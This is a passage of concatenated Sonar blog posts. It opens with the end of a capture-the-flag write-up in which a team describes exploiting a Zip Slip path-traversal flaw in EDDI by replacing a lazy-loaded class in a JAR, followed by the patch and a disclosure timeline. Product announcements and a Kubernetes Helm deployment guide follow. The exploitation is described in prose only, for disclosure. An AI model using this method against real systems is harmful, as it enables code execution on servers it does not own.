      at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
      at java.base/java.lang.Thread.run(Thread.java:1583)
Caused by: java.lang.ClassNotFoundException: io.netty.handler.codec.http.DefaultLastHttpContent
      at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:641)
      ... 24 more

Lazy-Loaded Classes

First, we were confused, but then realized that EDDI was not loading the whole JAR file at once. It was instead lazy-loading a single class from that JAR file. The class was apparently first used when triggering a certain functionality in EDDI, which is why it had not been loaded before.

With this key observation, we had everything we needed to solve the challenge, at least in theory. After trying to build a JAR file that contained a class with the same fully qualified name as the class from the ClassNotFoundException, we realized that the JAR file was now missing many other classes that EDDI needed to function properly.

During the CTF, we extracted the original JAR, replaced only the target class, and packed everything back into a JAR. This eventually worked after overcoming other minor obstacles, and got us the flag! We were the first team to solve the challenge, and finding the vulnerable feature with only a quick SonarQube scan definitely helped with that.

Patch

After the CTF, we reported the vulnerability to EDDI's maintainers in case they weren't already aware of it. They fixed it in version 5.5.0 by validating that the destination path is inside the extraction directory during ZIP extraction:

File destFile = new File(targetDir, entry.getName());
String destFilePath = destFile.getCanonicalPath();

// Ensure the resolved destination path starts with the target directory path
if (!destFilePath.startsWith(targetDirPath + File.separator)) {
    throw new IOException("Entry is outside of the target dir: " + entry.getName());
}

Timeline

Date	Action
2025-03-11	We report the vulnerability to the EDDI maintainers
2025-04-07	The maintainers commit a fix
2025-04-12	The maintainers release version 5.5.0, which contains the fix
2025-04-12	The maintainers release an advisory

Summary

In this blog post, we saw a great example of how SonarQube detects real-world vulnerabilities. CTF competitions target a technical security audience, and the challenges aim to be difficult. It is great to see that using SonarQube is an advantage in these scenarios as well, making it easy to find and understand vulnerabilities in the code of an application.

The Zip Slip vulnerability, a special case of Path Traversal, shows once again that path-related issues are still very common. With Zip Slips, the attacker-controlled file name does not directly result from a user input, but from a user-uploaded file, which can make it less obvious. We also learned that Java classes can be lazy-loaded during runtime and how attackers can exploit this behavior.

Finally, we would like to thank the EDDI maintainers for fixing the issue we reported. Kudos also to the Kalmarunionen team for creating a fun and challenging CTF!

SonarQube Advanced Security now available: Developer-first security for all code

Manish Kapur — Mon, 15 Sep 2025 14:00:00 GMT

Originally published on May 29, 2025, to announce the general availability of SonarQube Advanced Security for SonarQube Server, this blog post has been updated to reflect the general availability of Advanced Security for SonarQube Cloud.

TL;DR overview

SonarQube Advanced Security is now generally available, delivering the first fully integrated solution for developers to find and fix code quality and security issues across first-party, AI-generated, and third-party open source code in a single platform.
The offering adds Software Composition Analysis (SCA) to detect known CVEs in direct and transitive dependencies, license compliance tracking, and SBOM generation to meet regulatory requirements like the EU Cyber Resilience Act.
Advanced SAST extends SonarQube's taint analysis across the boundaries of third-party libraries, uncovering deeply hidden vulnerabilities that traditional SAST tools miss by treating dependencies as black boxes.
SonarQube Advanced Security is available for Enterprise Edition (and higher) of SonarQube Server and SonarQube Cloud Enterprise, and integrates into existing developer workflows without additional tooling or configuration.

Sonar is thrilled to announce a major leap forward: the General Availability (GA) of SonarQube Advanced Security! Building on the foundation trusted by over 7 million developers and 400,000 organizations for industry-leading code quality analysis, SonarQube now delivers the first fully integrated solution for developers to find and fix both code quality and code security issues across their entire codebase. This includes first-party code, AI-generated code, and the third-party open source dependencies that form the backbone of modern applications.This unified approach moves beyond fragmented tooling, bringing comprehensive security and quality analysis directly into the developer workflow—where it belongs.

Why comprehensive code security matters now more than ever

Software development today is a high-velocity race. Teams are building faster than ever, often leveraging the power of AI-generated code and assembling applications with the help of a vast ecosystem of third-party open source libraries. Reports show that 70-90% of modern applications consist of open source code, and the reliance on AI is skyrocketing, with over 62% of developers now making use of AI coding tools. While both AI and open source can supercharge innovation, they also dramatically expand the potential attack surface. Supply chain attacks are on the rise, and traditional security tools often struggle to keep pace, frequently overwhelming developers with noise, creating friction in workflows, and catching issues too late in the cycle.

The expanded reliance on external code, whether from open source repositories or AI generation tools, introduces new security complexities. Third-party libraries can harbor known vulnerabilities (such as CVEs) or carry restrictive licenses that create legal risks. AI-generated code, while powerful, can sometimes introduce elusive flaws, quality issues, or insecure patterns that are difficult to spot.

Trying to manage these accelerating risks with a collection of separate solutions for Static Application Security Testing (SAST), Software Composition Analysis (SCA), secrets detection, and Infrastructure as Code (IaC) scanning often leads to inefficiencies - specifically when operated by different teams. Developers are overwhelmed by context switching, alert fatigue from excessive false positives, inconsistent results across tools, and difficulty correlating findings to understand the true risk picture. When developers are overwhelmed by security inputs, the security output – better bottom line security – will suffer. Why?

Security tools are only effective if developers actually use them.

Tools that disrupt workflows, generate overwhelming noise, or require complex configuration often get sidelined, leaving vulnerabilities undetected until it's much more costly and difficult to fix them. Sonar's developer-first philosophy directly tackles this problem. By integrating comprehensive security capabilities seamlessly into the tools developers already use, SonarQube Advanced Security makes security a natural part of the development process, not a bolted on afterthought.

Integrated code quality and code security

While SonarQube is widely recognized for its industry-leading code quality analysis capabilities, its core security capabilities have steadily expanded over the years. Now, SonarQube is the industry leader for integrated code quality and code security in one package.

The core security features already available in SonarQube empower developers to secure their first-party and AI-generated code:

SAST: SonarQube's powerful SAST engine analyzes your source code to detect a wide range of security vulnerabilities and weaknesses before they reach production. It identifies issues like weak cryptography, insecure communication or authentication, buffer overflows, and more across the most popular programming languages and frameworks. Think of it as an intelligent scanner for the code you write directly.
Taint analysis: This advanced data flow analysis technique tracks potentially untrusted user input as it moves through your application, even across multiple files and functions. It's crucial for uncovering complex injection vulnerabilities like SQL injection and cross-site scripting (XSS), by ensuring data from external sources is properly validated or "sanitized" before interacting with sensitive parts of your system, like databases or the operating system.
Secrets detection: This feature acts like a security guard for your codebase, automatically scanning for accidentally hard-coded sensitive information like API keys, passwords, database credentials, and security tokens. Leaked secrets are a common vector for breaches. SonarQube uses hundreds of patterns (and supports custom patterns in Enterprise Edition) to detect secrets, preventing them from ever being committed to your repository, especially when used with SonarQube IDE extension.
Infrastructure as Code (IaC) scanning: Cloud infrastructure is often defined in code using tools like Terraform, CloudFormation, Kubernetes manifests, Azure Resource Manager, and Ansible. IaC scanning analyzes these configuration files to detect misconfigurations and security risks before your infrastructure is deployed, helping ensure your environments are secure from the ground up.

These core security capabilities provide essential protection for human-written and AI-generated code. They uncover hidden injection flaws, stop exposed secrets, and secure cloud environments by finding infrastructure code misconfigurations, significantly reducing breach risks and costly rework to protect your reputation and bottom line. Now, SonarQube Advanced Security extends this protection to include open source code and the rest of the software supply chain.

SonarQube Advanced Security: developer-first security for all code

SonarQube Advanced Security, available for SonarQube Enterprise (and higher), represents a significant leap forward, extending SonarQube's powerful analysis capabilities to protect your entire software supply chain, with a particular focus on open source dependencies. This is achieved through two major capabilities: SCA and advanced SAST.

Software Composition Analysis (SCA)

SCA is the process of identifying and analyzing the components used within your applications. Given that open source constitutes the vast majority of modern codebases, understanding the risks associated with these components is critical. SonarQube's SCA capabilities provide comprehensive visibility and control:

Vulnerability detection: Automatically identifies known vulnerabilities (CVEs) listed in public databases (like NVD) within both your direct dependencies (libraries you explicitly include) and transitive dependencies (libraries your dependencies rely on). For each vulnerability found, SonarQube provides crucial context, including its severity (CVSS score), EPSS (Exploit Prediction Scoring System), the affected component versions, information on available patches or fixes, and remediation guidance, enabling proactive defense against known exploits.
License compliance: Open source components come with licenses that dictate how they can be used. Violating these licenses can lead to significant legal and compliance issues. SonarQube automatically identifies the licenses of all dependencies and helps ensure they comply with your organization's policies, flagging potentially incompatible or problematic licenses. This simplifies the complex task of managing open source license risk.
SBOM Generation: Automatically generates a Software Bill of Materials (SBOM) in standard formats like CycloneDX and SPDX. An SBOM is a detailed inventory of all software components and dependencies in your application. This provides essential transparency for security audits, compliance requirements (like those documented in the NIST Secure Software Development Framework (SSDF), mandated by US White House Executive Order 14028, and other related government actions), and rapid response if a new vulnerability is discovered in a component you use.

SonarQube's SCA fucntionality currently supports popular ecosystems including Java, Kotlin, Scala (Maven, Central), JavaScript and TypeScript (npm), Python (PyPl), C#/.NET (NuGet), Go, PHP, Rust, and Ruby, with a commitment to expanding language coverage in future releases.

Advanced SAST

While SCA focuses on known vulnerabilities in dependencies, SonarQube’s advanced SAST tackles a different, often overlooked problem: vulnerabilities that arise from the interaction between your code and the code within third-party libraries.

Traditional SAST tools often treat libraries as "black boxes," analyzing your code but not tracing data flow into or out of the library code itself. This can miss critical vulnerabilities where, for example, tainted user input is passed to a library function that uses it unsafely, or where a library returns unsafe data that your application then misuses.

SonarQube's advanced SAST overcomes this limitation. It extends SonarQube's powerful taint analysis engine to trace data flows in and out of the code of third-party libraries. By analyzing how your application actually uses these dependencies, advanced SAST can uncover deeply hidden, complex vulnerabilities that traditional SAST tools simply cannot find. It provides a much deeper and more accurate understanding of the security risks associated with using open source components.

Improving supply chain security proactively with the help of open source maintainers

SonarQube Advanced Security is also the first step in integrating the unique capabilities Sonar acquired with Tidelift. Sonar takes a proactive approach to improving open source security by paying the maintainers of open source projects to follow secure software development practices - and document the practices they follow.

While standard SCA relies heavily on public vulnerability databases, this collaboration also provides verified, curated intelligence that goes beyond basic CVE information. Exclusively within SonarQube, you benefit from these maintainer insights on:

False positive verification: Confirmation on whether a reported CVE actually affects a specific package version or usage context.
Exploitability context: Information on whether a vulnerability is practically exploitable in real-world scenarios.
Workarounds and recommendations: Guidance on mitigating risks when a direct fix isn't immediately available.

This layer of human-curated intelligence promises to significantly reduce the noise often associated with dependency scanning, allowing development and security teams to focus their efforts on the risks that truly matter, saving valuable time and accelerating remediation.

Additional new security capabilities in SonarQube Server and Cloud

SonarQube Server 2025.3 release and SonarQube Cloud bring other valuable enhancements reinforcing our commitment to continuous improvement:

Expanded secrets detection: The secrets detection engine now covers significantly more ground, featuring an expanded library of over 400 secret patterns and continued support for custom patterns (in Enterprise Edition) to catch a wider variety of potential credential leaks.
New language support: SonarQube's industry-leading SAST and taint analysis capabilities now extend to Go and Kotlin, enabling secure development practices for teams using these popular modern languages.
New security reports: SonarQube now provides reports aligned with the latest CWE Top 25 2024 and OWASP Top 10 Mobile standards. This empowers developers and managers to assess security risks against current industry benchmarks.

These improvements, alongside Advanced Security, make the latest SonarQube release a compelling upgrade for any organization.

The SonarQube advantage: security that works with you

SonarQube Advanced Security delivers a fundamentally better approach to code security - one that empowers developers and streamlines collaboration between development and security teams. Here’s why it stands out:

Integrated code quality and code security: One integrated platform provides code quality and code security analysis (SAST, advanced SAST, SCA, taint analysis, secrets detection, IaC scanning, security reports) for all popular languages and frameworks, covering first-party, AI-generated, and open source code. No more juggling multiple, disconnected tools.
Unmatched accuracy & speed: SonarQube is renowned for its high true-positive rate and low false-positive noise, thanks to sophisticated analysis engines like taint analysis and advanced SAST that cover the entire code base. Analysis is fast, designed to integrate smoothly into CI/CD pipelines without causing bottlenecks.
Seamless workflow integration ("Start Left"): Security is embedded directly into the developer workflow. Get immediate feedback in the IDE via SonarQube IDE extension in connected mode, automated checks in pull requests with clear decorations, and quality gates in your CI/CD pipeline to prevent insecure code from reaching production. This "start left" approach catches issues early when they are easiest and cheapest to fix.
Actionable remediation: SonarQube doesn't just find problems; it provides clear explanations, highlights the problematic code, and offers guidance with AI CodeFix to help developers understand the issue and fix it quickly and correctly.
Compliance: Easily track and report on compliance with major security standards like OWASP Top 10, PCI DSS, CWE Top 25, OWASP ASVS, STIG, and CASA.SonarQube also aligns with frameworks like the NIST Secure Software Development Framework (SSDF), simplifying regulatory adherence.

By addressing the common pain points of traditional security tools – noise, friction, and lack of integration – SonarQube Advanced Security fosters developer adoption and enables organizations to ship secure, high-quality software faster.

Availability:

SonarQube Advanced Security is available as a license for SonarQube Server Enterprise or Data Center Edition 2025.3 and later.
Support for SonarQube Cloud Enterprise is available as of September 15, 2025.
Learn more: Visit the(https://www.sonarsource.com/solutions/security/).
Explore documentation: Server | Cloud
Try SonarQube Advanced Security: https://www.sonarsource.com/products/sonarqube/advanced-security/free-trial/
Talk to us: https://www.sonarsource.com/solutions/security/advanced-security-request/

Quality assurance in the AI era: a leadership imperative, according to S&P Global Market Intelligence

Anirban Chatterjee — Thu, 11 Sep 2025 05:00:00 GMT

TL;DR overview

Quality assurance in the AI era requires a dedicated verification layer: S&P Global's 451 Research warns that AI-generated code demands proactive supervision to ensure it is high quality, maintainable, and secure in a business context.
The vibe, then verify doctrine separates the speed of AI code generation from the rigor of independent verification—SonarQube acts as the verification layer, applying consistent standards to human-written, AI-generated, and open source code.
Embedding quality gates in CI/CD pipelines transforms code review from a subjective, manual process into an objective, scalable control; developers can use AI CodeFix to automatically resolve quality gate failures, closing the quality loop.
According to 451 Research, Sonar takes a developer-first approach—integrating static code analysis, policy enforcement, and issue remediation at the start of the software lifecycle rather than as a final gate.

In the rapidly evolving AI era, technology leaders are facing a fundamental shift in how code is created, validated, and governed. The adoption of artificial intelligence is amplifying software output at an unprecedented pace, but the challenge lies in maintaining enterprise trust without sacrificing speed. Now, more than ever, it is essential for organizations to separate the “vibe” of fast AI-enabled creation from the “verify” of independent, robust assurance. As highlighted in the recent 451 Research report from S&P Global Market Intelligence (owned by S&P Global) strategies for building and managing software must adapt as AI accelerates production and diversifies provenance.

This transformation is not just a matter of scale; it’s a matter of risk and accountability. Code composition is shifting—AI-generated contributions are now ubiquitous alongside traditional first-party and open source code. While machine-generated code delivers productivity gains, S&P Global’s 451 Research cautions that “far from replacing human developers, machine-generated code requires proactive supervision to ensure that it is high quality, maintainable and secure in a business context.” Organizations cannot afford to treat AI-written code as immune from the rigorous standards governing human development.

Independent assurance as the leadership imperative

The answer lies in adopting a developer-first QA framework centered on independent verification—an approach that S&P Global’s 451 analysts identify as vital for effective AI governance. Rather than relying solely on platform “code factories” that focus on rapid creation, it’s time to implement a specialist layer that objectively assesses code quality and security at scale. S&P Global highlights SonarQube as engineered for this AI era, serving as the backbone for “verify” in the modern SDLC.

Consistency is key to establishing enterprise trust, especially as AI governance priorities expand. SonarQube analyzes all code—whether first-party, open source, or AI-generated—with a unified policy engine spanning more than 35 languages. This ensures technology leaders can enforce AI policy across heterogeneous estates and avoid the fragmentation that accompanies today’s rapid innovation cycles.

By prioritizing independent verification and strong AI governance, organizations build an assurance culture well-suited to the AI era—one that supports productivity while keeping organizational standards front and center for every contributor.

Shifting left: operationalizing trust in developer workflows

To maximize impact, code assurance must shift left—providing precise feedback within the developer’s workflow, such as the IDE or through automated pull request checks. Embedding quality gates into CI/CD pipelines transforms subjective code review into objective, scalable controls, reducing friction and fostering a culture of proactive improvement. According to S&P Global’s 451 Research, “Sonar is taking a developer-first approach to the challenge, integrating static code analysis, policy enforcement and issue remediation at the start of the software life cycle.”

Where issues are detected, the loop closes with intelligent automation. If a SonarQube quality check fails, developers can use AI CodeFix to automatically suggest replacement code—reducing toil and accelerating remediation. Future agentic capabilities will propose context-driven patches and generate pull requests for developer approval, keeping human oversight central to the process. This hybrid, AI-guided approach to assurance embodies the “vibe, then verify” principle. As AI policy and AI governance mature, organizations will require solutions that not only keep up with the scale of the AI era but actively drive better code hygiene in real time.

Governing AI with confidence: data, compliance, and velocity

Leadership must govern with transparency and data, monitoring trends in portfolio risk and ensuring alignment with AI policy and regulatory frameworks. SonarQube’s compliance dashboards and reporting tools allow executives to measure adherence, reducing the risk of defects, misconfigurations, and security exposures before they reach production. The emphasis on AI policy and governance, as S&P Global’s 451 Research notes, is a natural extension of Sonar’s commitment to code quality, providing organizations with the evidence they need for audits and board-level discussions.

“As we approach a point when more code will be generated by AI than by humans, strategies for building and managing software need to adapt,” the 451 Research team warns. This is not simply a technical evolution—it is a leadership imperative. With SonarQube as the “verify” layer, organizations can achieve velocity without compromising on trust, applying one standard across all sources of code and delivering measurable improvements in remediation efficiency and risk posture.

For technology leaders aiming to drive lasting impact in the AI era, robust alignment across AI policy, AI governance, and independent verification is non-negotiable. By adopting “vibe, then verify” as an operating doctrine—and leveraging the power of SonarQube for analysis, detection, and AI-guided remediation—technology leaders can move at AI speed while maintaining enterprise trust in every line of code. For a deeper perspective, S&P Global’s 451 Research confirms: Sonar offers the robust code quality assurance that the AI-era demands.

Download the 451 Research report to uncover why SonarQube is the backbone technology leaders rely on for confident, independent verification—empowering organizations to accelerate with assurance, consistency, and control.

Analysis evidence from SonarQube now available in JFrog AppTrust

Jeff Clawson — Tue, 09 Sep 2025 18:00:00 GMT

TL;DR overview

SonarQube analysis evidence is now available in JFrog AppTrust, enabling teams to surface code quality and security findings directly within the JFrog platform as part of their software supply chain governance.
This integration allows organizations to use SonarQube's trusted static analysis results as auditable evidence for release decisions, compliance reporting, and security posture tracking.
Connecting SonarQube to JFrog AppTrust supports a "shift left" approach by embedding code quality signals earlier in the release pipeline, reducing the risk of shipping software with known issues.
The integration is designed for enterprise teams managing complex DevOps workflows who need a unified view of code health alongside artifact management and distribution.

Developers need to balance speed and governance

Software engineering leaders face a constant tension: the demand to accelerate innovation versus the non-negotiable need for security and compliance. This demand is being amplified by AI, as AI coding assistants boost their team's output and the resulting volume and churn of code puts immense strain on governance, risk, and compliance (GRC) processes. Developer teams can't afford to be slowed down by the manual, error-prone compliance checks that are buckling under this new velocity; this is the "engineering productivity paradox."

The new strategic partnership between Sonar and JFrog directly addresses this challenge. By integrating SonarQube's industry-leading automated code review with JFrog's new AppTrust governance platform, together we are providing the essential framework for software engineering teams to embrace AI-driven speed without compromising on control. This alliance is built to help solve the engineering productivity paradox, enabling continuous integration and continuous delivery of secure, high-quality software faster than ever.

Two trusted solutions, now unified

Our collaboration brings two solutions together: SonarQube for code quality and security, and JFrog Artifactory for artifact management. This partnership is designed to create a single, authoritative 'code-to-deploy' solution for the entire software development lifecycle (SDLC). The goal is to provide organizations with a single, integrated source of truth for software quality and security, eliminating the friction between the tools developers use and the systems that operations and security teams rely on.

When critical code quality data from SonarQube is disconnected from the binary artifacts managed in JFrog, engineering teams must bridge the gap with manual processes and custom scripts. This partnership closes that gap, creating an unbroken chain of evidence from the first line of code to the final release. The result is a pre-integrated, end-to-end solution that streamlines workflows and strengthens the software supply chain.

Automated governance with JFrog AppTrust and SonarQube

Coinciding with this partnership, JFrog is launching AppTrust, a "DevGovOps" solution for software release governance. AppTrust is a framework for automating compliance, establishing an evidence system of record, and enforcing quality and security policies. This ensures that no software is shipped without meeting predefined criteria.

A governance platform is only as good as the evidence it contains. That's why Sonar is a crucial launch partner for AppTrust. Sonar provides the most critical piece of "shift-left" evidence: a definitive, verifiable attestation of the code's quality and security state. With Sonar's trusted analysis results automatically feeding into AppTrust, which includes automated security scanning and vulnerability detection, development teams can be confident that governance policies are universally applied.

How the Sonar-JFrog integration works

The SonarQube-AppTrust integration is engineered to be powerful yet non-disruptive, fitting directly into existing developer CI/CD integration workflows. The entire process is orchestrated by a job within the pipeline that runs the JFrog CLI, designed to handle the evidence lifecycle without adding complexity or delays.

Here’s a step-by-step look at the workflow:

Evidence retrieval: As the SonarQube analysis runs, the JFrog CLI job checks a new, purpose-built SonarQube API endpoint for the results. Once finished, the SonarQube endpoint provides a detailed evidence payload. This includes the critical quality gate status and conditions in a structured format, as well as a human-readable markdown summary for easy viewing within the JFrog UI.
Cryptographic signing: To ensure the integrity and authenticity of the evidence, the JFrog CLI cryptographically signs the payload. This creates a verifiable, tamper-proof attestation that can be trusted by auditors and automated governance policies.
Attaching to the artifact: The final step is to attach this signed evidence directly to the corresponding software artifact—be it a package, build-info, or release-bundle—within JFrog Artifactory.

The result is a complete, irrefutable audit trail linking code quality and security directly to the compiled binary. This provides robust, automated governance to ensure compliance is achieved at the speed of modern development.

Empower teams with speed and control

This integrated solution moves the organization beyond the trade-off between speed and control, delivering tangible benefits that directly address the challenges they face.

For devops and platform teams: The integration replaces brittle, high-maintenance scripts with a resilient, automated process for evidence collection, improving pipeline reliability and velocity.
For GRC and security officers: It provides streamlined access to immutable evidence of SonarQube’s code quality and security analysis, transforming audit preparation from a manual, multi-system scramble into a push-button process.
For the CISO: Automated, consistent enforcement of security standards, providing verifiable proof that every production artifact has passed its SonarQube quality gate and originated from secure, high quality code.
For developers: The process is entirely transparent. They get fast feedback from Sonar in their IDE and CI process, and can leverage AI tools to innovate, knowing that compliance is handled automatically downstream without adding friction to their workflow.

A future-proof platform for the SDLC

Sonar’s integration with JFrog AppTrust is available now for Enterprise plans of SonarQube Cloud, with support for SonarQube Server planned later this year. This initial integration marks the beginning of a strategic, long-term partnership between Sonar and JFrog to help our customers build trust into every line of code as they adopt AI coding solutions. Together, we aim to provide organizations with solutions that not only address current challenges but also foster a more efficient, secure, and resilient SDLC for the future.

Deploying SonarQube on Kubernetes with Helm Charts

Robert Curlee — Mon, 08 Sep 2025 05:00:00 GMT

Engineering teams want to produce the highest quality code possible, making SonarQube a leading platform for code quality and code security by performing automated code reviews. When deployed in a Kubernetes environment, such as AWS EKS (Elastic Kubernetes Service), SonarQube Server can be highly scalable, resilient, and well-integrated with CI/CD pipelines. Additionally, Platform Engineering and DevSecOps teams want to unify the way they deploy to save time and reduce effort. Manually managing a SonarQube Server deployment in Kubernetes can be complex, especially when configuring enterprise-grade features within the server like high availability and autoscaling.

This is where Helm comes into play. Helm is a powerful package manager for Kubernetes that simplifies deployment, version management, and dependency resolution. By using a Helm Chart to deploy SonarQube Server, teams can quickly provision a production-ready SonarQube Server instance with minimal configuration while adopting best practices for scalability, security, and maintainability.

There are many reasons why teams use Helm for deploying SonarQube Server, including:

Simplified deployment: Helm automates the setup of SonarQube Server in Kubernetes, reducing the operational overhead of manual configuration.
Version and upgrade management: Helm makes it easy to update SonarQube Server while maintaining configurations and rollback capabilities.
Dependency management: Helm Charts can handle the deployment of required components, such as a database and other external services.

SonarQube Server Enterprise and Data Center

For organizations requiring advanced security, compliance, and scalability, SonarQube Server offers two premium editions:

Enterprise: This edition includes branch and pull request analysis, security hotspot detection, executive reports, integration with enterprise authentication (such as LDAP and SAML), and parallel processing of analysis results for improved performance, so developers aren’t waiting for results when large teams of developers are simultaneously working.
Data Center: Includes everything in Enterprise, and adds high availability and scalability, such as multi-node clustering, horizontal autoscaling, and load balancing in large-scale enterprise environments. These are especially important to handle extremely large codebases while remaining highly available.

Installing SonarQube Server with Helm

These steps can be followed for installing either SonarQube Server Enterprise or Data Center. This example specifically shows how to install the Enterprise edition in AWS EKS. Only some minor adjustments to the installation are needed to switch between installing one or the other. At specific steps, it will be noted how to install the Data Center edition instead.

Prerequisites

Set your AWS Access Keys (either via ~/.aws/credentials or pasting the environment variables in your terminal)
aws CLI
eksctl
kubectl
Helm

AWS EKS setup procedure

Create a file named eks-cluster.yaml with the following. Modify as needed, such as metadata.name (EKS cluster name), metadata.version, metadata.tags.Owner, etc. The critical part is the add-ons for the AWS EBS CSI driver for storage.

apiVersion: eksctl.io/v1alpha5

kind: ClusterConfig

metadata:

  name: example-sonarqube-cluster

  region: eu-central-1

  version: "1.33"

  tags:

    Owner: "<YOUR NAME>"

iam:

  withOIDC: true

managedNodeGroups:

  - name: ng-1

    instanceType: m5.xlarge

    desiredCapacity: 2

    minSize: 2

    maxSize: 2

    volumeSize: 50

    iam:

      withAddonPolicies:

        ebs: true

    tags:

      Owner: "<YOUR NAME>"

addons:

  - name: aws-ebs-csi-driver

    version: latest

    wellKnownPolicies:

      ebsCSIController: true

    configurationValues: |

      controller:

        extraVolumeTags:

          Owner: "<YOUR NAME>"

Create another file called storage-class.yaml with the following (adjust as needed):

apiVersion: storage.k8s.io/v1

kind: StorageClass

metadata:

  name: gp3

  annotations:

    storageclass.kubernetes.io/is-default-class: "true"

provisioner: ebs.csi.aws.com

parameters:

  type: gp3

  fsType: ext4

reclaimPolicy: Delete

volumeBindingMode: WaitForFirstConsumer

Create the cluster (takes ~15 mins to complete):

eksctl create cluster -f eks-cluster.yaml

Once EKS cluster creation is complete, apply the StorageClass manifest:

kubectl apply -f storage-class.yaml

Set the correct k8s context:

aws eks update-kubeconfig --region <REGION> --name <CLUSTER NAME>

Install SonarQube Server with the standard Helm Chart

Get the Helm Chart for SonarQube Server:

helm repo add sonarqube https://SonarSource.github.io/helm-chart-sonarqube
helm repo update

Make a namespace in your cluster for SonarQube:

kubectl create namespace sonarqube

Set configuration options

Create a file named values.yml and include the following configuration options:

monitoringPasscode: "ChangeMe1234!"	# Password for Prometheus monitoring

edition: "enterprise"	# can be set to "developer" with this Helm Chart

Install the Helm Chart (using the upgrade command to install is more flexible):

helm upgrade --install sonarqube sonarqube/sonarqube \

    -n sonarqube \

    -f values.yaml

NOTE: To deploy SonarQube Server Data Center, use the Helm Chart for the Data Center edition (differences in the above commands are detailed in the ArtifactHub).

The command will complete within a few seconds and return some diagnostic information. The actual installation will take several minutes. You can view the progress of the installation with the following helpful Kubernetes commands.

See the current status of each pod within the SonarQube Server cluster:

kubectl get pods --namespace sonarqube

Get the name of the pod the SonarQube Server will run on:

kubectl get pods \

    --namespace sonarqube \

    -l "app=sonarqube,release=sonarqube" \

    -o jsonpath="{.items[0].metadata.name}"

View the logs of a pod within the SonarQube Server cluster:

kubectl logs <NAME OF POD> --namespace sonarqube

See the information on all the resources of the SonarQube Server cluster:

kubectl get po,svc,pv --namespace sonarqube

See all the events within the SonarQube Server cluster:

kubectl get events --namespace sonarqube

Check that the installation has finished:

kubectl get pods -n sonarqube

This returns results that look like:

NAME                     READY   STATUS    RESTARTS   AGE
sonarqube-postgresql-0   1/1     Running   0          8m8s
sonarqube-sonarqube-0    1/1     Running   0          8m8s

If both pods are ready (STATUS will show Running), then SonarQube Server is up and running.

Set up port forwarding to access SonarQube Server at port 9000:

kubectl port-forward <NAME OF POD> 9000:9000 --namespace sonarqube

Open a browser and navigate to http://localhost:9000. You will see the SonarQube Server login:

The default Administrator username is admin, and the password is admin. Upon first login, you will be asked to change this password.

Allow external access

For your initial install of SonarQube Server, it’s good practice to lock down traffic to and from the internet until after you have changed the default password for the Administrator user. After successfully changing the password, you can expose SonarQube Server externally via a Kubernetes Ingress Controller.

Create a file called ingress.yaml file with the following contents:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: sonar-ingress
  namespace: sonarqube
  annotations:
    kubernetes.io/ingress.class: "nginx"
    cert-manager.io/cluster-issuer: "letsencrypt-prod"
spec:
  rules:
    - host: <YOUR-SQ-HOST> # For example: sonar.myhost.com
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: <SONARQUBE-SERVICE-NAME> # Replace with name of your service
                port:
                  number: 9000
  tls:
    - hosts:
        - <YOUR-SQ-HOST> # must be same as above
      secretName: sonar-tls

Make sure the Ingress Helm Chart is installed locally:

helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx

helm repo update

Install the Ingress-Nginx Helm Chart in your Kubernetes cluster:

helm install ingress-nginx ingress-nginx/ingress-nginx \

    --namespace ingress-nginx \

    --create-namespace

Install the Ingress controller configured in the ingress.yaml file:

kubectl apply -f ingress.yaml

After installation is complete, find the IP or DNS name of the controller that was created with:

kubectl get ing --namespace sonarqube

The results will look something like this:

NAME          HOSTS            ADDRESS                                 PORTS    AGE
sonar-ingress sonar.myhost.com example123.us-west-1.elb.amazonaws.com  80, 443  28m

Next, you will need to modify DNS settings for your domain in order to point to your deployment. For example, assume the value for host in your ingress.yaml file was set to sonar.myhost.com, a subdomain of your myhost.com domain. Add the CNAME record for your domain, pointing the sonar subdomain to the controller address displayed in the command output above (such as example123.us-west-1.elb.amazonaws.com).

The SonarQube Server Helm Chart does include some limited functionality for configuring ingress that may meet your specific use case. See the Chart documentation for more information.

Add a license to SonarQube Server

After you log in for the first time as Administrator and change the default password, you will be asked to add your license key.

Or go to the Administration > Configuration > License Manager page in SonarQube Server and click the “Set a new license” button.

Once you enter the license key, ensure the current settings are as you’d expect for the edition you have and any related parameters before continuing the configuration process.

Now that your license has been set you’ll want to configure the server, such as setting up user authentication. Also you will need to set up integration into your DevOps platform to start setting up projects and running scans.

Troubleshooting and maintenance

Deploying SonarQube Server in a Kubernetes environment requires ongoing maintenance to ensure optimal performance and stability.

Common issues and solutions

Reference the following common issues that you may encounter when deploying SonarQube Server on Kubernetes:

Issue #1: SonarQube Server fails to start

Cause: Insufficient memory, database connection failures, or misconfigured environment variables.
Solution:
- Check the pod logs using kubectl logs <pod-name> -n <namespace> for error messages.
- Ensure the PostgreSQL database is running and accessible. Use kubectl exec -it <db-pod> -- psql -U <user> -d <database> to verify connectivity.
- Increase the allocated memory for SonarQube Server by modifying the values.yaml file under resources.requests.memory.

Issue #2: Slow performance or crashes during scans

Cause: Insufficient CPU and memory allocation or database performance bottlenecks.
Solution:
- Scale the SonarQube Server deployment by adjusting replicaCount and increasing resource limits.
- Optimize the database by using a managed PostgreSQL instance with SSD storage.
- Enable Kubernetes HPA if required.

Issue #3: Permission issues with persistent volumes

Cause: Kubernetes storage classes and security contexts may not align with SonarQube Server's requirements.
Solution:
- Check and update security context settings in values.yaml.
- Ensure the correct storage class is specified in the Helm configuration.

Validate PVC status using kubectl get pvc -n <namespace>.

Update SonarQube Server to the latest version with Helm

Regularly updating SonarQube Server ensures access to new features, security patches, and performance improvements. Follow these steps for a seamless update:

Check for new versions
Visit the SonarQube Server Release Notes to review changes and breaking updates or verify the Helm Chart has updates:

helm repo update
helm search repo sonarqube

Back up before updating
- Take a snapshot of the PostgreSQL database.
- Back up SonarQube Server’s persistent volume data
Perform the upgrade
Update the Helm release:

helm upgrade \

    --install sonarqube oci://helm.sonarsource.com/sonarqube \
    --namespace <namespace> \
    --set image.tag=<new-version> \
    -f values.yaml

Monitor the deployment:

kubectl get pods -n <namespace>

kubectl logs <pod-name> -n <namespace>

Perform post-update checks

Verify that SonarQube Server is running by checking pod status and logs.
Ensure database migrations are completed successfully by reviewing the logs.

Clean up

When you are done with running the server and want to destroy everything, delete the cluster and it will delete its resources (takes ~11 min):

eksctl delete cluster --region=<REGION> --name=<CLUSTER NAME>

